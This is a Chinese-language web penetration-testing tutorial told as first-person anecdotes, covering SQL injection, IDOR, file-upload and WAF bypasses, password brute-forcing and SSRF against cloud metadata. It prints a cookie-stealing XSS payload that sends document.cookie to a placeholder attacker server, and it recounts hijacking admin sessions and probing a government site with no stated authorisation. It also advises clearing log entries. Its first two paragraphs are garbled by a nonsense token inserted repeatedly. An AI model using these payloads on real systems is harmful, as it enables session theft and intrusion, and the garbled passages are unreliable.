web渗透教程

凌晨两点，透教我盯着屏幕上那个403页面，透教咖啡已经凉透了。透教目标站点的透教WAF像堵墙，把SQL注入的透教尝试全弹了回来。这不是透教第一次撞墙，但每次撞墙后，透教我都得换个思路。透教

渗透测试说白了就是透教场猫鼠游戏。你不需要成为黑客，透教但要像黑客一样思考。透教我见过太多新手上来就扫端口、透教跑目录，透教结果在日志里留下满屏脚印，透教啥也没捞着。透教真正的第一步，是学会"看"。

打开目标站点，先别急着动手。右键查看源代码，留意注释里的敏感信息——开发人员常把数据库密码或后台路径随手写在HTML注释里。我曾在某个政府网站的源码里发现// TODO: remove test account，后面跟着一串base64编码，解出来是admin:123456。这种低级错误比想象中普遍。

如果源码干净，就抓包分析。用Burp Suite拦截请求，看看Cookie的生成规律。有些站点的Session ID就是时间戳加用户名的MD5，改改参数就能越权。去年测某电商平台，发现订单详情接口只验证了登录状态，没验证订单归属，把订单号改成别人的，直接看到收货地址和手机号。这不算高深技巧，纯粹是逻辑漏洞。

真正的高价值目标往往藏在参数里。SQL注入不是万能钥匙，但用对了地方能撬开门。先找动态页面，比如新闻详情、搜索功能，在URL后加个单引号'，看页面是否报错。报错了别慌，这是数据库在跟你打招呼。用order by试出字段数，再用union select拼接数据。记得把返回的报错信息截图，那是写报告时的铁证。

XSS这玩意儿看着简单，玩好了能直接偷管理员Cookie。在搜索框输入<script>alert(1)</script>，如果弹窗了，说明过滤形同虚设。别停在弹窗这步，换成<img src=x onerror=document.location='http://你的服务器/'+document.cookie>，然后蹲在服务器上等回调。我这么干过，两小时内钓到三个管理员会话。

文件上传漏洞最考验耐心。看到上传头像的地方，先传个正常的jpg，再用Burp抓包改成.php后缀。如果被拦，试试双写扩展名.pphphp，或者加空格、加换行符。有些WAF只查Content-Type，把image/jpeg改成application/x-php就能蒙混过关。上传成功后，找到文件路径，直接访问执行命令。

别忘了弱口令这个老掉牙的入口。用Hydra跑SSH或后台登录，字典别用网上烂大街的rockyou.txt，自己结合目标信息生成。比如站点叫"蓝天集团"，就把lantian123、Lantian@2024加进字典。我遇到过管理员密码是company+年份+!这种组合，一次就中。

绕WAF有个笨办法但特管用——分块传输。把请求体拆成Transfer-Encoding: chunked，每个chunk塞一小段payload，WAF解析不了就放行了。这招对老式ModSecurity尤其有效。还有用大小写混合、注释符/**/打断关键字，都能骗过正则匹配。

测到内网就换思路了。别急着打域控，先看看能不能用SQL注入写文件到web目录，或者用SSRF打云元数据接口。有次我通过一个图片预览功能，把内网IP169.254.169.254塞进URL参数，直接拿到云服务器的临时凭证，绕过了所有外网防护。

每次渗透完，记得清理痕迹。删掉上传的webshell，清除日志里可疑条目，恢复你改过的配置。这不是怂，是职业道德。我见过有人测试完不清理，结果被恶意利用，最后背锅的还是测试方。

写报告比渗透本身还累。别写"发现SQL注入漏洞"一句话就完事，要附上完整的请求包、响应包、复现步骤和修复建议。用中文描述，别堆专业术语，让开发看得懂。报告里加个时间线，哪天测了哪些点，出了什么问题，怎么验证的，一目了然。

这行干久了，你会发现自己越来越像侦探。每个参数都可能藏着秘密，每个错误页面都在透露信息。别迷信工具，Burp和sqlmap只是拐杖，真正的功夫在脑子上。多琢磨业务逻辑，多想想开发者偷懒的地方——漏洞往往就藏在那儿。